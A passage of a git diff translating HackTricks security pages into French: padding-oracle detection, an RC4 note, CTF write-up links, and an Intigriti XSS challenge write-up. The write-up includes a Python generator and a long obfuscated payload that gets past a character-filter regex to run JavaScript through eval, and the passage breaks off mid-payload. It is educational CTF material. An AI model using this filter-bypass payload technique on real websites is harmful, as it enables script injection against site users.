le `E''15` dont la valeur est 0x02 : `E''7 = \x02 ^ I15` donc il suffit de trouver le `E'14` qui génère un `C14` égal à `0x02`. Ensuite, effectuez les mêmes étapes pour décrypter C14 : `C14 = E6 ^ I14 = E6 ^ \x02 ^ E''6` -**Follow this chain until you decrypt the whole encrypted text.** +Suivez cette chaîne jusqu'à ce que vous ayez décrypté tout le texte chiffré. -## Detection of the vulnerability +## Détection de la vulnérabilité -Register and account and log in with this account .\ -If you **log in many times** and always get the **same cookie**, there is probably **something** **wrong** in the application. The **cookie sent back should be unique** each time you log in. If the cookie is **always** the **same**, it will probably always be valid and there **won't be anyway to invalidate i**t. +Enregistrez un compte et connectez-vous avec ce compte. Si vous vous connectez plusieurs fois et que vous obtenez toujours le même cookie, il y a probablement quelque chose qui ne va pas dans l'application. Le cookie renvoyé devrait être unique à chaque fois que vous vous connectez. Si le cookie est toujours le même, il sera probablement toujours valide et il n'y aura aucun moyen de l'invalider. -Now, if you try to **modify** the **cookie**, you can see that you get an **error** from the application.\ -But if you BF the padding (using padbuster for example) you manage to get another cookie valid for a different user. This scenario is highly probably vulnerable to padbuster. +Maintenant, si vous essayez de modifier le cookie, vous pouvez voir que vous obtenez une erreur de l'application. Mais si vous forcez le padding (en utilisant padbuster par exemple), vous parvenez à obtenir un autre cookie valide pour un utilisateur différent. Ce scénario est très probablement vulnérable à padbuster. -# References +# Références * [https://en.wikipedia.org/wiki/Block\_cipher\_mode\_of\_operation](https://en.wikipedia.org/wiki/Block\_cipher\_mode\_of\_operation) @@ -125,16 +91,14 @@ But if you BF the padding (using padbuster for example) you manage to get anothe ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- Travaillez-vous dans une entreprise de cybersécurité ? Voulez-vous voir votre entreprise annoncée dans HackTricks ? ou voulez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **Partagez vos astuces de piratage en soumettant des PR au repo [hacktricks](https://github.com/carlospolop/hacktricks) et [hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**. - - diff --git a/cryptography/rc4-encrypt-and-decrypt.md b/cryptography/rc4-encrypt-and-decrypt.md index 74802fc88..b15f1c053 100644 --- a/cryptography/rc4-encrypt-and-decrypt.md +++ b/cryptography/rc4-encrypt-and-decrypt.md @@ -1,25 +1,6 @@ +Si vous pouvez chiffrer un texte en utilisant RC4, vous pouvez déchiffrer tout contenu chiffré par RC4 (en utilisant le même mot de passe) en utilisant simplement la fonction de chiffrement. - -
- -☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 - -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! - -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) - -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) - -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** - -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. - -
- - -If you can somehow encrypt a plaintext using a RC4**,** you can decrypt any content encrypted by that RC4(using the same password) just using the encryption function. - -If you can encrypt a known plaintext you can also extract the password. More references can be found in the HTB Kryptos machine: +Si vous pouvez chiffrer un texte connu, vous pouvez également extraire le mot de passe. Plus de références peuvent être trouvées dans la machine HTB Kryptos: {% embed url="https://0xrick.github.io/hack-the-box/kryptos/" %} @@ -33,16 +14,14 @@ If you can encrypt a known plaintext you can also extract the password. More ref ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- Travaillez-vous dans une entreprise de cybersécurité? Voulez-vous voir votre entreprise annoncée dans HackTricks? ou voulez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF? Consultez les [PLANS D'ABONNEMENT](https://github.com/sponsors/carlospolop)! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- Découvrez [La famille PEASS](https://opensea.io/collection/the-peass-family), notre collection exclusive de [NFTs](https://opensea.io/collection/the-peass-family) -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- Obtenez le [swag officiel PEASS & HackTricks](https://peass.creator-spring.com) -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- Rejoignez le [💬](https://emojipedia.org/speech-balloon/) groupe Discord ou le groupe Telegram ou suivez-moi sur Twitter [🐦](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md) [@carlospolopm](https://twitter.com/hacktricks_live). -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- Partagez vos astuces de piratage en soumettant des PR au référentiel [hacktricks](https://github.com/carlospolop/hacktricks) et [hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud). - - diff --git a/ctf-write-ups/README.md b/ctf-write-ups/README.md index 082e7da66..0d4f5146a 100644 --- a/ctf-write-ups/README.md +++ b/ctf-write-ups/README.md @@ -1,41 +1,19 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. - -
- - -* [Write-up factory](https://writeup.raw.pm/) - Seach engine to find write-ups \(TryHackMe, HackTheBox, etc.\) -* [CTFtime Write-ups](https://ctftime.org/writeups) - Newest write-ups added to CTF events on CTFtime - - - -
- -☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 - -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! - -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) - -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) - -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** - -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
+* [Usine de write-up](https://writeup.raw.pm/) - Moteur de recherche pour trouver des write-ups (TryHackMe, HackTheBox, etc.) +* [Write-ups CTFtime](https://ctftime.org/writeups) - Les derniers write-ups ajoutés aux événements CTF sur CTFtime diff --git a/ctf-write-ups/challenge-0521.intigriti.io.md b/ctf-write-ups/challenge-0521.intigriti.io.md index d9713a161..f30a9a44f 100644 --- a/ctf-write-ups/challenge-0521.intigriti.io.md +++ b/ctf-write-ups/challenge-0521.intigriti.io.md @@ -4,84 +4,71 @@ ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**. -### Brief Description +### Brève description -The challenge provides a vulnerable to XSS form in the page [https://challenge-0521.intigriti.io/captcha.php](https://challenge-0521.intigriti.io/captcha.php).\ -This form is loaded in [https://challenge-0521.intigriti.io/](https://challenge-0521.intigriti.io) via an iframe. +Le défi fournit un formulaire vulnérable à XSS sur la page [https://challenge-0521.intigriti.io/captcha.php](https://challenge-0521.intigriti.io/captcha.php).\ +Ce formulaire est chargé dans [https://challenge-0521.intigriti.io/](https://challenge-0521.intigriti.io) via un iframe. -It was found that the form will **insert the user input inside the JavaScript `eval` function**. This is usually a bad idea as it can lead to **arbitrary JavaScript execution**, and this is a good example.\ -However, before inserting the user input inside the`eval` function, it’s checked with the regexp `/[a-df-z<>()!\\='"]/gi` so if any of those character is found, the user input won’t be executed inside `eval`.\ -Anyway, it was found a way to bypass the regexp protection and execute `alert(document.domain)` abusing the dangerous `eval` function. +Il a été découvert que le formulaire **insère l'entrée utilisateur à l'intérieur de la fonction JavaScript `eval`**. C'est généralement une mauvaise idée car cela peut conduire à une **exécution arbitraire de JavaScript**, et c'est un bon exemple.\ +Cependant, avant d'insérer l'entrée utilisateur dans la fonction `eval`, elle est vérifiée avec l'expression régulière `/[a-df-z<>()!\\='"]/gi` donc si l'un de ces caractères est trouvé, l'entrée utilisateur ne sera pas exécutée dans `eval`.\ +Quoi qu'il en soit, il a été trouvé un moyen de contourner la protection de l'expression régulière et d'exécuter `alert(document.domain)` en abusant de la fonction `eval` dangereuse. -### Accessing the HTML +### Accéder au HTML -It was found that the letter `e` is permitted as user input. It was also found that there is an HTLM element using the `id="e"`. Therefore, this HtML element is accesible from Javascript just using the variable `e`:\ +Il a été découvert que la lettre `e` est autorisée en tant qu'entrée utilisateur. Il a également été découvert qu'il existe un élément HTLM utilisant l'`id="e"`. Par conséquent, cet élément HtML est accessible depuis Javascript en utilisant simplement la variable `e`:\ ![](https://i.imgur.com/Slq2Xal.png) -Also, it’s important to know that in JS you can **access the attributes of an objects with a dot or with a string between brackets**. So, you can access the `domain` attribute of a `document` object in either of the following ways: - +Il est également important de savoir qu'en JS, vous pouvez **accéder aux attributs d'un objet avec un point ou avec une chaîne entre crochets**. Ainsi, vous pouvez accéder à l'attribut `domain` d'un objet `document` de l'une des manières suivantes: ```javascript document.domain document["domain"] ``` - -And the same happens with attributes that are functions (methods): - +Et la même chose se produit avec les attributs qui sont des fonctions (méthodes): ```javascript document.write("1") document["write"]("1") ``` - -Then, from the `e` HTML element it’s possible to access the `document` object using something like: - +Ensuite, à partir de l'élément HTML `e`, il est possible d'accéder à l'objet `document` en utilisant quelque chose comme: ```javascript e["parentNode"]["parentNode"]["parentNode"]["parentNode"]["parentNode"] ``` +### Appeler une fonction sans parenthèses avec du code JS en tant que chaîne de caractères -### Calling a function without parenthesis with JS code as string - -From the object `document` it’s possible to call the `write` function to **write arbitrary HTML text that the browser will execute**.\ -However, as the `()` characters are **forbidden**, it’s not possible to call the function using them. Anyway, it’s possible to call a function using **backtips** (\`\`).\ -Moreover, it’s possible to put as string javascript code that is going to be executed using `${...}` like: - +À partir de l'objet `document`, il est possible d'appeler la fonction `write` pour **écrire du texte HTML arbitraire que le navigateur exécutera**.\ +Cependant, comme les caractères `()` sont **interdits**, il n'est pas possible d'appeler la fonction en les utilisant. Quoi qu'il en soit, il est possible d'appeler une fonction en utilisant des **backtips** (\`\`).\ +De plus, il est possible de mettre en tant que chaîne de caractères du code javascript qui sera exécuté en utilisant `${...}` comme suit : ```javascript `${"alert(document.location)"}` ``` - -Therefore, combining the `document` object access with this technique to execute functions without parenthesis it’s possible to **execute an alert using**: - +Par conséquent, en combinant l'accès à l'objet `document` avec cette technique pour exécuter des fonctions sans parenthèses, il est possible d'**exécuter une alerte en utilisant**: ```javascript e["parentNode"]["parentNode"]["parentNode"]["parentNode"]["parentNode"]["write"]`${""}` ``` +Vous pouvez tester ce code dans une console JavaScript à l'intérieur de la page [https://challenge-0521.intigriti.io/captcha.php](https://challenge-0521.intigriti.io/captcha.php) -You can test this code in a javascript console inside the page [https://challenge-0521.intigriti.io/captcha.php](https://challenge-0521.intigriti.io/captcha.php) +### Contournement final des caractères interdits -### Final forbidden characters bypass - -However, there is still one problem left. Most of the characters of the exploit are **forbidden** as they appear in the regexp `/[a-df-z<>()!\\='"]/gi`. But note how all the **forbidden characters are strings** inside the exploit and the **not string characters in the exploit (e\[]\`${}) are allowed**.\ -This means that if it’s possible to **generate the forbidden charaters as strings from the allowed characters**, it’s possible to generate the exploit.\ -In order to do this I have generated a [JSFuck](http://www.jsfuck.com) like alphabet to generate the necesary characters (_this alphabet is custom for this challenge_).\ -You can **see the full alphabet inside the exploit code** (which can be found in the next subsection and in the file _exploit.txt_). - -For example, in order to **generate the letter `a`** it’s possible to access **`[[]/e+e][0][1]`** as `[[]/e+e][0]` generates the string `"NaN[object HTMLProgressElement]"` or in order to generate the **letter `f`** its possible to access the **5th char of `[[][[]]+e][0]`** as that expression generates the string `"undefined[object HTMLProgressElement]"`.\ -Using these tricks and some more complex ones it was possible to **generate all the characters (letters and symbols) of the strings contained** in the exploit: +Cependant, il reste un problème. La plupart des caractères de l'exploit sont **interdits** car ils apparaissent dans l'expression régulière `/[a-df-z<>()!\\='"]/gi`. Mais notez que tous les **caractères interdits sont des chaînes de caractères** à l'intérieur de l'exploit et que les **caractères non-chaînes de caractères dans l'exploit (e\[]\`${}) sont autorisés**.\ +Cela signifie que s'il est possible de **générer les caractères interdits en tant que chaînes de caractères à partir des caractères autorisés**, il est possible de générer l'exploit.\ +Pour ce faire, j'ai généré un alphabet similaire à [JSFuck](http://www.jsfuck.com) pour générer les caractères nécessaires (_cet alphabet est personnalisé pour ce défi_).\ +Vous pouvez **voir l'alphabet complet à l'intérieur du code de l'exploit** (qui peut être trouvé dans la prochaine sous-section et dans le fichier _exploit.txt_). +Par exemple, pour **générer la lettre `a`**, il est possible d'accéder à **`[[]/e+e][0][1]`** car `[[]/e+e][0]` génère la chaîne de caractères `"NaN[object HTMLProgressElement]"` ou pour générer la **lettre `f`**, il est possible d'accéder au **5ème caractère de `[[][[]]+e][0]`** car cette expression génère la chaîne de caractères `"undefined[object HTMLProgressElement]"`.\ +En utilisant ces astuces et d'autres plus complexes, il a été possible de **générer tous les caractères (lettres et symboles) des chaînes de caractères contenues** dans l'exploit : ```javascript e["parentNode"]["parentNode"]["parentNode"]["parentNode"]["parentNode"]["write"]`${""}` ``` +### Code d'exploitation -### Exploit Code - -This is the python exploit used to generate the final exploit. If you execute it, it will print the exploit: - +Voici l'exploit Python utilisé pour générer l'exploit final. Si vous l'exécutez, il affichera l'exploit : ```python #JS Specific Direct Alphabet x = { @@ -149,17 +136,13 @@ txt = f'{document}[{write}]'+'`${['+payload+']}`' print(txt) #Write the exploit to stdout ``` - ### Exploitation -In order to generate the exploit just execute the previous python code. If you prefer, you can also copy/paste it from here: - +Pour générer l'exploit, il suffit d'exécuter le code Python précédent. Si vous préférez, vous pouvez également le copier/coller à partir d'ici : ``` e[e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][[e+e][0][5]+e[e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][15]+[[][[]]+e][0][5]+[e+e][0][21]+[[][[]]+e][0][2]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]][[e+e][0][5]+[[]/e+e][0][1]+e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[e+e][0][6]+[e+e][0][5]+e[e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][15]+[[]/e+e][0][1]][[e+e][0][15]][[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][35]+[e+e][0][13]+[[][[]]+e][0][5]+[e+e][0][6]+[e+e][0][4]]`${[e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][0]+[e+e][0][18]+[e+e][0][5]+[e+e][0][13]+[[][[]]+e][0][5]+e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[e+e][0][6]+e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][62]+[[]/e+e][0][1]+[e+e][0][21]+[e+e][0][4]+[e+e][0][13]+[e+e][0][6]+e[e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][[e+e][0][5]+e[e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+